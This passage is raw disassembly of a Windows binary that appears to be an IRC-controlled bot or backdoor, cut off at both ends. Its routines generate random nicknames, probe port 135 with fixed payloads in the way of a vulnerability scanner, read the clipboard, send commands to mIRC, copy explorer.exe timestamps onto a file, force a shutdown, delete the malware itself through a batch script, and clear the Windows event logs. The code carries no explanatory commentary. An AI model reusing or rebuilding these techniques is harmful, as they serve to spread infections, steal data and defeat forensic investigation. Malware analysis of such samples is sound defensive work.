[ebp+arg_0] imul esi, 210h lea eax, dword_4EC064[esi] push eax call sub_41F620 mov eax, [ebp+arg_4] pop ecx mov ds:dword_4EC264[esi], eax pop ecx lea eax, [ebp+var_8] mov ds:dword_4EC058[esi], 1 push eax push ebx push edi push offset sub_41820B push ebx push ebx call ds:dword_4F5350 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_4183BC loc_418423: ; CODE XREF: sub_4183AA+10j ; sub_4183AA+2Dj pop edi pop esi pop ebx leave retn sub_4183AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418428 proc near ; CODE XREF: sub_401C87+373Ep ; sub_401C87+3781p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41E4B0 add esp, 0Ch call sub_41EB70 mov [ebp+var_4], eax fild [ebp+var_4] fmul ds:dbl_43C4D8 call sub_4201DC cmp eax, 1 jnz short loc_418472 call sub_41EB70 call sub_41EB70 push 66h cdq pop ecx idiv ecx push ds:off_44F8F0[edx*4] jmp short loc_41848B ; --------------------------------------------------------------------------- loc_418472: ; CODE XREF: sub_418428+2Fj call sub_41EB70 call sub_41EB70 cdq mov ecx, 0C0h idiv ecx push ds:off_44F430[edx*4] loc_41848B: ; CODE XREF: sub_418428+48j lea eax, [ebp+var_2C] push eax call sub_41F620 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41BC70 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax call sub_41EB70 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul ds:dbl_43C4D0 call sub_4201DC mov ebx, eax call sub_41EB70 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fimul [ebp+var_4] fmul ds:dbl_43C4C8 call sub_4201DC cmp esi, 2 mov edi, offset a__2 ; "-|`_\\{[]}" jle short loc_4184FE cmp esi, 3 jnz short loc_4184F5 cmp ebx, 1 jz short loc_4184FE loc_4184F5: ; CODE XREF: sub_418428+C6j cmp eax, 1 jnz loc_4185B7 loc_4184FE: ; CODE XREF: sub_418428+C1j ; sub_418428+CBj call sub_41EB70 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul ds:dbl_43C4C0 call sub_4201DC push ds:off_44F8F0[eax*4] lea eax, [ebp+var_40] push eax call sub_41F620 lea ebx, [ebp+esi+var_2C] movsx eax, byte ptr [ebx-1] push eax push edi call sub_41F720 add esp, 10h test eax, eax jnz short loc_4185A4 movsx eax, [ebp+var_40] push eax push edi call sub_41F720 pop ecx test eax, eax pop ecx jnz short loc_4185A4 call sub_41EB70 mov dword ptr [ebp+var_10+4], eax dec esi fild dword ptr [ebp+var_10+4] mov dword ptr [ebp+var_10+4], esi fild dword ptr [ebp+var_10+4] fmulp st(1), st fmul ds:dbl_43C4C8 call sub_4201DC cmp eax, 1 jnz short loc_4185A4 push edi call sub_41BC70 and dword ptr [ebp+var_10+4], 0 mov dword ptr [ebp+var_10], eax fild [ebp+var_10] pop ecx fstp qword ptr [ebp-8] call sub_41EB70 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul qword ptr [ebp-8] fmul ds:dbl_43C4C8 call sub_4201DC mov al, byte ptr ds:a__2[eax] ; "-|`_\\{[]}" mov [ebx], al loc_4185A4: ; CODE XREF: sub_418428+110j ; sub_418428+121j ... push dword ptr [ebp+var_18+4] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41FAC0 add esp, 0Ch loc_4185B7: ; CODE XREF: sub_418428+D0j lea eax, [ebp+var_2C] push eax call sub_41BC70 mov esi, eax mov [ebp+var_4], esi movsx eax, [ebp+esi+var_2D] push eax call sub_4218B0 pop ecx test eax, eax pop ecx jnz loc_41880E movsx eax, [ebp+esi+var_2D] push eax push edi xor ebx, ebx call sub_41F720 pop ecx test eax, eax pop ecx jnz loc_418710 call sub_41EB70 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43C4C8 call sub_4201DC cmp esi, 3 jz short loc_418621 cmp eax, 1 jnz loc_418710 loc_418621: ; CODE XREF: sub_418428+1EEj push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_418665 push edi call sub_41BC70 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul ds:dbl_43C4C8 call sub_4201DC mov al, byte ptr ds:a__2[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_418683 ; --------------------------------------------------------------------------- loc_418665: ; CODE XREF: sub_418428+202j call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4B8 call sub_4201DC mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_418683: ; CODE XREF: sub_418428+23Bj inc esi xor ebx, ebx mov [ebp+var_4], esi inc ebx call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4B0 call sub_4201DC cmp esi, 3 jz short loc_4186A9 cmp eax, ebx jnz short loc_418710 loc_4186A9: ; CODE XREF: sub_418428+27Bj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4186EE push edi call sub_41BC70 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul ds:dbl_43C4C8 call sub_4201DC mov al, byte ptr ds:a__2[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41870C ; --------------------------------------------------------------------------- loc_4186EE: ; CODE XREF: sub_418428+28Bj call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4B8 call sub_4201DC mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41870C: ; CODE XREF: sub_418428+2C4j inc esi mov [ebp+var_4], esi loc_418710: ; CODE XREF: sub_418428+1C4j ; sub_418428+1F3j ... cmp esi, 6 jge short loc_418790 call sub_41EB70 cmp esi, 5 jge short loc_41872D mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4D0 jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41872D: ; CODE XREF: sub_418428+2F5j push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_43C4C8 loc_418746: ; CODE XREF: sub_418428+303j call sub_4201DC test eax, eax jnz short loc_418769 call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4A8 call sub_4201DC mov cl, 30h jmp short loc_418786 ; --------------------------------------------------------------------------- loc_418769: ; CODE XREF: sub_418428+325j cmp eax, 1 jnz short loc_418790 call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4B8 call sub_4201DC mov cl, 41h loc_418786: ; CODE XREF: sub_418428+33Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_418790: ; CODE XREF: sub_418428+2EBj ; sub_418428+344j cmp ebx, 2 jge short loc_41880E call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_43C4C8 call sub_4201DC cmp eax, 1 jnz short loc_41880E call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4A8 call sub_4201DC mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4A0 call sub_4201DC cmp eax, 1 jnz short loc_41880E cmp ebx, eax jge short loc_41880E call sub_41EB70 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C498 call sub_4201DC mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41880E: ; CODE XREF: sub_418428+1ACj ; sub_418428+36Bj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41E510 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_418428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418827 proc near ; CODE XREF: _0:00418984p _0:004189ABp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_418855 loc_418838: ; CODE XREF: sub_418827+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_421BD0 add esp, 0Ch test eax, eax jz short loc_41885B inc esi cmp esi, edi jl short loc_418838 loc_418855: ; CODE XREF: sub_418827+Fj xor al, al loc_418857: ; CODE XREF: sub_418827+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41885B: ; CODE XREF: sub_418827+27j mov al, 1 jmp short loc_418857 sub_418827 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2010h call sub_41EF80 mov eax, [ebp+0Ch] push esi dec eax push edi jz short loc_4188A0 dec eax jz short loc_41887E dec eax loc_418878: ; CODE XREF: _0:004188B6j xor eax, eax loc_41887A: ; CODE XREF: _0:0041889Ej _0:004189C8j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_41887E: ; CODE XREF: _0:00418875j push 3 push 1388h push dword ptr [ebp+8] call ds:dword_4E3008 ; inet_addr push eax call sub_40C611 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_41887A ; --------------------------------------------------------------------------- loc_4188A0: ; CODE XREF: _0:00418872j push 6 push 1 push 2 call ds:dword_4E3048 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+0Ch], esi jz short loc_418878 push ebx xor ebx, ebx push 10h lea eax, [ebp-10h] push ebx push eax call sub_41E4B0 add esp, 0Ch mov word ptr [ebp-10h], 2 push 87h call ds:dword_4E2FC8 ; htons push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_40AD91 pop ecx mov [ebp-0Ch], eax lea eax, [ebp-10h] push 10h push eax push esi call ds:dword_4E2F70 ; connect cmp eax, edi jz loc_4189BC push ebx push 48h push offset dword_44FAF8 push esi call ds:dword_4E3018 ; send cmp eax, edi jz loc_4189BC mov esi, 2000h push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call ds:dword_4E2FE0 ; recv cmp eax, edi jz loc_4189BC cmp byte ptr [ebp-200Eh], 0Ch jnz short loc_4189BC push ebx push 18h push offset dword_44FB44 push dword ptr [ebp+0Ch] call ds:dword_4E3018 ; send cmp eax, edi jz short loc_4189BC push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call ds:dword_4E2FE0 ; recv mov esi, eax cmp esi, edi jz short loc_4189BC cmp byte ptr [ebp-200Eh], 2 jnz short loc_4189BC push 10h push offset loc_44FB60 lea eax, [ebp-2010h] push esi push eax call sub_418827 add esp, 10h test al, al jz short loc_41899C cmp esi, 12Ch setnl bl inc ebx jmp short loc_4189BC ; --------------------------------------------------------------------------- loc_41899C: ; CODE XREF: _0:0041898Ej push 10h push offset dword_44FB74 lea eax, [ebp-2010h] push esi push eax call sub_418827 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4189BC: ; CODE XREF: _0:004188FAj _0:00418911j ... push dword ptr [ebp+0Ch] call ds:dword_4E3060 ; closesocket mov eax, ebx pop ebx jmp loc_41887A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189CD proc near ; CODE XREF: sub_401C87+BA7p ; sub_401C87+BE1p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_418A58 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_418A58 cmp [ebp+arg_8], esi jz short loc_418A58 cmp byte ptr [eax], 0 jz short loc_418A58 push ebx push edi call sub_43AEA0 mov ebx, eax pop ecx test ebx, ebx jz short loc_418A53 push [ebp+arg_4] push edi call sub_41EBB0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_418A4C sub eax, edi push eax push edi push ebx call sub_41E510 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41BC70 push eax push [ebp+arg_8] push ebx call sub_41FAC0 push [ebp+arg_4] call sub_41BC70 add eax, esi push eax push ebx call sub_41F630 push ebx push edi call sub_41F620 add esp, 30h mov esi, edi loc_418A4C: ; CODE XREF: sub_4189CD+3Cj push ebx call sub_41C9D0 pop ecx loc_418A53: ; CODE XREF: sub_4189CD+2Bj mov eax, esi pop ebx jmp short loc_418A5A ; --------------------------------------------------------------------------- loc_418A58: ; CODE XREF: sub_4189CD+Cj ; sub_4189CD+13j ... xor eax, eax loc_418A5A: ; CODE XREF: sub_4189CD+89j pop edi pop esi pop ebp retn sub_4189CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A5E proc near ; CODE XREF: sub_401B0B+E9p ; sub_410B14+F4p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor ebx, ebx push 7D0h lea eax, [ebp+var_7D0] push ebx push eax call sub_41E4B0 mov esi, [ebp+arg_0] push esi call sub_41BC70 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_418A96 or eax, 0FFFFFFFFh jmp short loc_418AFD ; --------------------------------------------------------------------------- loc_418A96: ; CODE XREF: sub_418A5E+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_418AB7 loc_418AA2: ; CODE XREF: sub_418A5E+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_418AAF cmp dl, 0Dh jnz short loc_418AB2 loc_418AAF: ; CODE XREF: sub_418A5E+4Aj mov [ecx+esi], bl loc_418AB2: ; CODE XREF: sub_418A5E+4Fj inc ecx cmp ecx, eax jl short loc_418AA2 loc_418AB7: ; CODE XREF: sub_418A5E+42j xor edx, edx cmp eax, ebx jle short loc_418ADF loc_418ABD: ; CODE XREF: sub_418A5E+7Fj cmp [edx+esi], bl jnz short loc_418ADA lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_418ADA cmp edi, 1F4h jge short loc_418ADF mov [ebp+edi*4+var_7D0], ecx inc edi loc_418ADA: ; CODE XREF: sub_418A5E+62j ; sub_418A5E+6Aj inc edx cmp edx, eax jl short loc_418ABD loc_418ADF: ; CODE XREF: sub_418A5E+5Dj ; sub_418A5E+72j cmp [ebp+arg_4], ebx jz short loc_418AFB lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41FBF0 add esp, 0Ch loc_418AFB: ; CODE XREF: sub_418A5E+84j mov eax, edi loc_418AFD: ; CODE XREF: sub_418A5E+36j pop edi pop esi pop ebx leave retn sub_418A5E endp ; =============== S U B R O U T I N E ======================================= sub_418B02 proc near ; CODE XREF: sub_418B5C+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418B3B push ebx mov ebx, edi loc_418B1F: ; CODE XREF: sub_418B02+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418B3E pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418B1F pop ebx loc_418B3B: ; CODE XREF: sub_418B02+18j pop edi pop esi retn sub_418B02 endp ; =============== S U B R O U T I N E ======================================= sub_418B3E proc near ; CODE XREF: sub_418B02+25p ; sub_418B5C+69p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_421C90 cmp al, 61h pop ecx jl short loc_418B59 cmp al, 7Ah jg short loc_418B59 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418B59: ; CODE XREF: sub_418B3E+Ej ; sub_418B3E+12j xor eax, eax retn sub_418B3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B5C proc near ; CODE XREF: _0:00415B45p _0:00415BCAp ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41EF80 push ebx push esi push edi push [ebp+arg_0] call sub_41BC70 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41BC70 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418B02 add esp, 14h dec esi mov edi, esi jmp short loc_418C0E ; --------------------------------------------------------------------------- loc_418B9C: ; CODE XREF: sub_418B5C+B4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_421C90 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_421C90 pop ecx cmp eax, ebx pop ecx jz short loc_418C0C loc_418BBE: ; CODE XREF: sub_418B5C+AEj mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418B3E mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418BDF mov eax, ecx loc_418BDF: ; CODE XREF: sub_418B5C+7Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_418C1C mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_421C90 movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_421C90 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418BBE loc_418C0C: ; CODE XREF: sub_418B5C+60j dec edi dec esi loc_418C0E: ; CODE XREF: sub_418B5C+3Ej test esi, esi jg short loc_418B9C mov eax, [ebp+arg_0] add eax, edi loc_418C17: ; CODE XREF: sub_418B5C+C2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418C1C: ; CODE XREF: sub_418B5C+88j xor eax, eax jmp short loc_418C17 sub_418B5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C20 proc near ; CODE XREF: sub_401C87+6862p ; sub_401C87+7921p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_4F5360 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_4F542C ; FormatMessageA lea eax, [ebp+var_100] loc_418C59: ; CODE XREF: sub_418C20+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418C65 cmp cl, 9 jnz short loc_418C68 loc_418C65: ; CODE XREF: sub_418C20+3Ej inc eax jmp short loc_418C59 ; --------------------------------------------------------------------------- loc_418C68: ; CODE XREF: sub_418C20+43j ; sub_418C20+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_418C82 mov cl, [eax] cmp cl, 2Eh jz short loc_418C68 cmp cl, 21h jl short loc_418C68 loc_418C82: ; CODE XREF: sub_418C20+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4F2788 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41EC30 add esp, 18h mov eax, esi pop esi leave retn sub_418C20 endp ; =============== S U B R O U T I N E ======================================= sub_418CAA proc near ; CODE XREF: sub_401C87+2484p push esi push 0 call ds:dword_4E2F98 ; OpenClipboard test eax, eax jz short loc_418CE1 push 1 call ds:dword_4E2FB8 ; GetClipboardData mov esi, eax test esi, esi jz short loc_418CE1 push edi push esi call ds:dword_4F5434 ; GlobalLock push esi mov edi, eax call ds:dword_4F5430 ; GlobalUnlock call ds:dword_4E301C ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418CAA+Bj ; sub_418CAA+19j xor eax, eax pop esi retn sub_418CAA endp ; =============== S U B R O U T I N E ======================================= sub_418CE5 proc near ; CODE XREF: sub_401C87+76CCp arg_0 = dword ptr 4 push ebp push esi xor esi, esi push esi push offset aMirc_2 ; "mIRC" call ds:dword_4E2FD4 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_418D65 push ebx push edi push offset aMirc_3 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:off_4F5440 push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:off_4F543C push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41EA60 pop ecx pop ecx push esi push 1 push 4C8h push ebp call ds:dword_4E3024 ; SendMessageA push esi push 1 push 4C9h push ebp call ds:dword_4E3024 ; SendMessageA push ebx call ds:off_4F5438 push edi call ds:off_4F533C xor eax, eax pop edi inc eax pop ebx jmp short loc_418D67 ; --------------------------------------------------------------------------- loc_418D65: ; CODE XREF: sub_418CE5+14j xor eax, eax loc_418D67: ; CODE XREF: sub_418CE5+7Ej pop esi pop ebp retn sub_418CE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D6A proc near ; CODE XREF: sub_401404+200p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:off_4E3080 test eax, eax jz short loc_418E09 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:off_4F53C0 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; sub_50B2B0 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418E09 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_4F5448 ; GetFileTime push ebx mov ebx, ds:off_4F533C call ebx ; sub_50B3D5 push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; sub_50B2B0 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418E09 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_4F5444 ; SetFileTime push esi call ebx ; sub_50B3D5 loc_418E09: ; CODE XREF: sub_418D6A+2Aj ; sub_418D6A+51j ... pop edi pop esi pop ebx leave retn sub_418D6A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_41E4B0 push 44h lea eax, [ebp-54h] push esi push eax call sub_41E4B0 push dword ptr [ebp+0Ch] lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+8] mov [ebp-24h], si push offset aSS_5 ; "%s %s" push 400h push eax call sub_41EC30 add esp, 2Ch lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] call ds:dword_4F5340 ; CreateProcessA neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= sub_418E8C proc near ; CODE XREF: sub_401C87+1662p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41A2C9 pop ecx pop ecx push 50005h push 6 call ds:dword_4E2F08 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_418E8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EAE proc near ; CODE XREF: sub_401C87+2718p ; sub_416D68+45Fp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_43F094, esi push edi jz short loc_418ED2 cmp ds:dword_4E3094, esi jnz short loc_418ED2 push esi call sub_401000 pop ecx loc_418ED2: ; CODE XREF: sub_418EAE+13j ; sub_418EAE+1Bj call sub_40B854 lea eax, [ebp+var_764] push eax push 400h call ds:dword_4F5384 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41EA60 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:off_4F53C0 mov edi, eax cmp edi, esi jbe loc_419032 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41EA60 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call ds:dword_4F53B4 ; WriteFile push edi call ds:off_4F533C push 10h lea eax, [ebp+var_14] push esi push eax call sub_41E4B0 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41E4B0 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_4F2988 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:off_4F5370 push eax call ds:off_4F5344 lea eax, [ebp+var_15C] push eax call ds:off_4F536C cmp eax, 0FFFFFFFFh jz short loc_418FDA lea eax, [ebp+var_15C] push 80h push eax call ds:dword_4F5368 ; SetFileAttributesA loc_418FDA: ; CODE XREF: sub_418EAE+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41EA60 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call ds:dword_4F544C ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_4F5340 ; CreateProcessA loc_419032: ; CODE XREF: sub_418EAE+72j pop edi pop esi leave retn sub_418EAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419036 proc near ; CODE XREF: sub_401C87+729Ap var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call ds:dword_4F539C ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_4190CC push [ebp+arg_10] push [ebp+arg_C] call ds:dword_4E2F48 ; OpenEventLogA push edi push eax call ds:dword_4E2F58 ; ClearEventLogA test eax, eax jz short loc_4190BE push [ebp+arg_10] push offset dword_44FC44 loc_419097: ; CODE XREF: sub_419036+94j lea eax, [ebp+var_294] push eax call sub_41EA60 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 20h jmp short loc_4190F6 ; --------------------------------------------------------------------------- loc_4190BE: ; CODE XREF: sub_419036+57j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44FC60 jmp short loc_419097 ; --------------------------------------------------------------------------- loc_4190CC: ; CODE XREF: sub_419036+3Fj lea eax, [ebp+var_294] push offset unk_44FC88 push eax call sub_41EA60 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 1Ch loc_4190F6: ; CODE XREF: sub_419036+86j pop edi leave retn sub_419036 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-10h], 2 push eax call ds:dword_4E3008 ; inet_addr push dword ptr [ebp+0C4h] mov [ebp-0Ch], eax call ds:dword_4E2FC8 ; htons push 